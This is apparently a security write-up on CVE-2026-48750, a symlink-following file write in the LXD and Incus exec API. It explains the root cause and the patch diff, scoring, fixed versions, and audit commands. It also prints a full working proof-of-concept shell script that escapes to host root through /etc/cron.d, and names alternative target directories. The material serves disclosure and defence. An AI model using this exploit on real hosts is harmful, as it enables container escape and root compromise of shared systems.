Nov 7, 2026·12 min read·4 visits
An unsanitized symlink named `exec-output` inside a crafted container image allows authenticated LXD and Incus users to write arbitrary command output to any directory on the host filesystem when invoking the `/exec` endpoint with `record-output: true`, leading to host-level privilege escalation and arbitrary code execution as root.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
Canonical LXD (github.com/canonical/lxd) and LXC Incus (github.com/lxc/incus) are system container and virtual machine managers that expose a REST API over a local UNIX domain socket or TLS-authenticated network interface. Among the core administrative interfaces is the instance execution endpoint (/1.0/instances/<name>/exec), which enables API clients to execute commands inside running instances. This endpoint accepts a boolean parameter named record-output. When record-output is set to true, the daemon captures the standard output (stdout) and standard error (stderr) streams of the executed process and writes them to regular files on the host filesystem for later retrieval.
Each managed instance maintains a dedicated metadata and storage directory on the host filesystem, typically located at /var/lib/lxd/containers/<instance_name>/ or an equivalent path on the configured storage pool. This directory stores the instance configuration, template files, the rootfs directory, and the exec-output directory where recorded command streams are saved. When an image archive is imported and unpacked to create an instance, the archive extraction routine extracts top-level entries from the image tarball directly into this instance directory on the host.
CVE-2026-48750 (also tracked as GHSA-9j25-mm2h-2f76 for LXD, GHSA-73hr-m85f-64v9 for Incus, and GO-2026-5801 in the Go vulnerability database) is an external control of file name or path vulnerability (CWE-73) driven by improper link resolution before file access (CWE-59). Because top-level symbolic links in an image archive are extracted verbatim without sanitization, a crafted image can place a symbolic link named exec-output inside the instance directory pointing to an arbitrary path on the host filesystem.
When the LXD or Incus daemon processes an execution request with record-output: true, it attempts to create the exec-output directory and open output capture files inside it while running with host root privileges. Because the daemon fails to verify whether exec-output is a symbolic link and does not confine path resolution to the instance directory, the file creation operation traverses the symlink. Consequently, files named exec_<UUID>.stdout and exec_<UUID>.stderr containing attacker-controlled command output are written directly into the target directory on the host system.
The root cause of CVE-2026-48750 stems from the combination of unvalidated top-level archive extraction during image unpacking and unconfined path resolution in the instanceExecPost handler within lxd/instance_exec.go. In LXD and Incus image formats, an image archive contains both the container root filesystem (rootfs/) and top-level metadata files (metadata.yaml, templates/). During image unpacking onto the storage pool, the extraction logic places top-level archive entries directly into the instance path returned by inst.Path(). If the archive contains a top-level symbolic link named exec-output targeting /etc/cron.d, the host filesystem now holds /var/lib/lxd/containers/<name>/exec-output -> /etc/cron.d.
When an authenticated client subsequently sends a POST request to /1.0/instances/<name>/exec with "record-output": true, the daemon executes instanceExecPost. Prior to the patch, the daemon resolved the target directory path by calling inst.ExecOutputPath(), which simply joined the instance path string with the literal "exec-output" using filepath.Join(d.Path(), "exec-output"). The daemon then called os.Mkdir(execOutputDir, 0600) to ensure the directory existed.
When os.Mkdir encounters an existing symbolic link at the specified path, the underlying mkdir(2) system call does not dereference the link; instead, it fails with EEXIST, which Go maps to fs.ErrExist. The vulnerable code in instanceExecPost explicitly ignored fs.ErrExist under the assumption that a pre-existing directory from a prior execution was already present:
execOutputDir := inst.ExecOutputPath()
err = os.Mkdir(execOutputDir, 0600)
if err != nil && !errors.Is(err, fs.ErrExist) {
return err
}Immediately following this check, the daemon constructed the output file paths (exec_<opID>.stdout and exec_<opID>.stderr) using filepath.Join and opened them using os.OpenFile with the os.O_RDWR|os.O_CREATE|os.O_TRUNC flags and 0666 permissions (modified by the daemon's umask). Unlike mkdir(2), the openat(2) system call invoked by os.OpenFile follows intermediate symbolic links in the path prefix unless confined via openat2(2) flags such as RESOLVE_BENEATH or RESOLVE_NO_SYMLINKS. Because the daemon runs as root on the host, the kernel resolves the exec-output symlink to the target host directory and creates the .stdout and .stderr files there.
Canonical addressed the vulnerability across two primary commits in the LXD repository: commit 254b85c9301397e25304116b63da9154093199da, which introduces confined directory opening helpers in lxd/instance/drivers/driver_common.go, and commit 124f901006400f634d54d908911c9ea93bae9a70, which updates lxd/instance_exec.go to use those helpers. Rather than relying on ad-hoc os.Lstat checks that are susceptible to Time-of-Check to Time-of-Use (TOCTOU) race conditions, the fix utilizes Go's os.Root and os.OpenRoot APIs introduced in Go 1.24.
In lxd/instance/drivers/driver_common.go, the patch adds openSubPath and openOrCreateSubPath methods to the common instance driver struct, along with dedicated wrappers for rootfs, exec-output, and templates:
// openOrCreateSubPath is like openSubPath but also creates the name if it does not exist.
func (d *common) openOrCreateSubPath(name string, mode os.FileMode) (*os.Root, error) {
// Open the instance base directory as a confined os.Root descriptor
parent, err := os.OpenRoot(d.Path())
if err != nil {
return nil, err
}
defer func() { _ = parent.Close() }()
// Create the subdirectory relative to the confined parent root
err = parent.Mkdir(name, mode)
if err != nil && !errors.Is(err, fs.ErrExist) {
return nil, fmt.Errorf("Failed creating %q for instance %q (path %s): %w", name, d.Name(), d.Path(), err)
}
// Open the target subdirectory as a nested os.Root; rejects symlinks escaping parent
root, err := parent.OpenRoot(name)
if err != nil {
return nil, fmt.Errorf("Failed opening %q for instance %q (path %s): %w", name, d.Name(), d.Path(), err)
}
return root, nil
}
// OpenExecOutput opens the instance's exec-output directory as a confined *os.Root, creating it if absent.
// Caller must close the returned Root.
func (d *common) OpenExecOutput() (*os.Root, error) {
return d.openOrCreateSubPath("exec-output", 0700)
}In lxd/instance_exec.go, instanceExecPost was updated in commit 124f901006400f634d54d908911c9ea93bae9a70 to replace direct os.Mkdir and os.OpenFile calls with operations scoped to the *os.Root handle returned by inst.OpenExecOutput():
--- a/lxd/instance_exec.go
+++ b/lxd/instance_exec.go
@@ -718,24 +716,24 @@ func instanceExecPost(d *Daemon, r *http.Request) response.Response {
var stdout, stderr *os.File
if post.RecordOutput {
- // Ensure exec-output directory exists
- execOutputDir := inst.ExecOutputPath()
- err = os.Mkdir(execOutputDir, 0600)
- if err != nil && !errors.Is(err, fs.ErrExist) {
+ execOutputRoot, err := inst.OpenExecOutput()
+ if err != nil {
return err
}
+ defer func() { _ = execOutputRoot.Close() }()
+
// Prepare stdout and stderr recording.
stdoutFile := "exec_" + opID + ".stdout"
- stdout, err = os.OpenFile(filepath.Join(execOutputDir, stdoutFile), os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0666)
+ stdout, err = execOutputRoot.OpenFile(stdoutFile, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0666)
if err != nil {
return err
}
defer func() { _ = stdout.Close() }()
stderrFile := "exec_" + opID + ".stderr"
- stderr, err = os.OpenFile(filepath.Join(execOutputDir, stderrFile), os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0666)
+ stderr, err = execOutputRoot.OpenFile(stderrFile, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0666)
if err != nil {
return err
}> [!NOTE]
> Fix Completeness Assessment: Using Go's os.Root abstraction enforces kernel-level path resolution confinement on Linux via openat2(2) with RESOLVE_BENEATH (or safe fallback mechanisms on older kernels). When parent.OpenRoot("exec-output") is called, any symbolic link pointing outside d.Path() (such as an absolute symlink to /etc/cron.d or a relative ../ traversal) is rejected before any file descriptor is opened. Furthermore, calling execOutputRoot.OpenFile ensures that even if a file inside exec-output were replaced with a symlink, resolution remains strictly confined within exec-output. Notice that driver_common.go also introduces OpenRootfs() and OpenTemplates(), providing structural primitives to prevent sibling symlink-following bugs across other instance subdirectories.
Exploiting CVE-2026-48750 requires an authenticated user with permissions to import container images, launch instances, and invoke the /1.0/instances/<name>/exec endpoint. In multi-tenant or delegated LXD/Incus deployments (such as users granted access to a restricted project or local users in the lxd/incus group where host root access is intended to be restricted), an attacker can escalate privileges to host root. No user interaction or complex timing race is required.
The attack proceeds in three distinct stages:
exec-output entry, and creates a symbolic link at the root of the archive named exec-output pointing to /etc/cron.d. The modified archive is repacked and imported via the image import API.exec-output -> /etc/cron.d symbolic link is placed on the host filesystem./exec: The attacker sends an HTTP POST request to /1.0/instances/<name>/exec with "record-output": true and a command that prints a valid crontab line to stdout (e.g., echo '* * * * * root <payload>').Because the filename generated by the daemon follows the format exec_<UUID>.stdout (where <UUID> consists of hexadecimal characters and hyphens, and .stdout introduces a period), we must consider cron daemon filename restrictions on the host. While Debian/Ubuntu cron ignores files in /etc/cron.d containing periods (.) unless specific options or alternative cron implementations (cronie, systemd-crontab-generator) are used, /etc/cron.d is demonstrated in the official advisory Proof of Concept, and alternative targets that accept arbitrary filenames or periods (such as /etc/ld.so.conf.d/, /etc/profile.d/, or systemd directory paths) can also be targeted depending on the host distribution.
The official Proof of Concept published in advisories GHSA-9j25-mm2h-2f76 and GHSA-73hr-m85f-64v9 demonstrates the end-to-end exploit workflow:
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# 1. Insert exec-output symlink pointing to /etc/cron.d
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# 2. Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
# 3. Trigger command with record-output set to true
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/nullCVE-2026-48750 carries a CVSS v3.1 base score of 9.9 (Critical) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. The Scope (S:C) metric is marked as Changed because the vulnerability originates within the instance management API boundary and breaks isolation to compromise the underlying host operating system. Although initial access requires Low Privileges (PR:L)—specifically, authentication to the LXD or Incus API with permissions to import images and execute commands—the Attack Complexity is Low (AC:L) and requires no user interaction (UI:N).
The immediate technical impact is arbitrary file creation within any existing directory on the host filesystem, where the file prefix is exec_<UUID> and the suffix is .stdout or .stderr. Crucially, the attacker has complete control over the contents written to the .stdout and .stderr files because the daemon directly pipes the output of the container command into those descriptors. Furthermore, because os.OpenFile is called by the host daemon running as root, the newly created files are owned by root:root.
By selecting appropriate host directories for the exec-output symlink target, an attacker escalates arbitrary file creation into full host-level code execution as root. This compromises the confidentiality, integrity, and availability of the host and all other containers or virtual machines managed by the daemon.
According to current threat intelligence, the EPSS score for CVE-2026-48750 is 0.00784 (0.78%, 56.22nd percentile), and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, because a complete, functional Proof of Concept shell script is publicly included in the official GitHub security advisories, the barrier to exploitation for authenticated threat actors or malicious insiders is minimal.
To remediate CVE-2026-48750, administrators must upgrade Canonical LXD or LXC Incus to a release that incorporates the os.Root path confinement patches. For Canonical LXD, fixed versions are 4.0.11 (for the 4.0 LTS branch), 5.0.7 (for the 5.0 LTS branch), 5.21.5 (for the 5.21 LTS / 5.x series), and 6.9.0 (for the 6.x series). For LXC Incus, the vulnerability is patched in version 7.2.0 and later.
On systems where LXD is deployed via Snap, administrators can apply the update using the following command:
sudo snap refresh lxdWhere immediate upgrading is not feasible, administrators should enforce strict access controls around the LXD/Incus REST API and UNIX socket (/var/snap/lxd/common/lxd/unix.socket, /var/lib/lxd/unix.socket, or /var/lib/incus/unix.socket). Only fully trusted host administrators should be permitted to import custom container images (POST /1.0/images) or execute commands on instances (POST /1.0/instances/<name>/exec). Multi-tenant projects should disable untrusted image imports where possible.
Security teams should also audit existing hosts for indicators of compromise or pre-positioned symlinks. Specifically, inspect all instance storage directories for symbolic links named exec-output and check sensitive system directories for unexpected exec_*.stdout or exec_*.stderr files:
# Check for unexpected exec-output symlinks in LXD storage paths
find /var/lib/lxd/containers/ /var/snap/lxd/common/lxd/storage-pools/ -maxdepth 4 -name "exec-output" -type l -ls 2>/dev/null
# Audit /etc/cron.d and /etc/profile.d for dropped exec output files
ls -la /etc/cron.d/exec_* /etc/profile.d/exec_* 2>/dev/nullCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
LXD (4.0 LTS) Canonical | >= 4.0.0, < 4.0.11 | 4.0.11 |
LXD (5.0 LTS) Canonical | >= 5.0.0, < 5.0.7 | 5.0.7 |
LXD (5.x / 5.21 LTS) Canonical | >= 5.1.0, < 5.21.5 | 5.21.5 |
LXD (6.x) Canonical | >= 6.0.0, < 6.9.0 | 6.9.0 |
Incus LXC | < 7.2.0 | 7.2.0 |
| Attribute | Detail |
|---|---|
| CVE Identifier | CVE-2026-48750 (GHSA-9j25-mm2h-2f76) |
| Weakness Class | CWE-73: External Control of File Name or Path / CWE-59: Symlink Following |
| CVSS v3.1 Score | 9.9 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| EPSS Score | 0.78% (56.22nd Percentile) |
| Attack Vector | Authenticated REST API (/1.0/instances/<name>/exec with record-output: true) |
| Security Impact | Arbitrary file creation on host leading to root code execution (Container Escape) |
| Exploit Maturity | Public Proof-of-Concept (PoC) Available |
| CISA KEV Status | Not Listed |
The software allows user or external input to control or influence paths or file names that are used in filesystem operations, specifically enabling improper link resolution before file access (CWE-59) outside the intended instance storage boundary.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.
GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.
A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.
CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.
An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.
GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.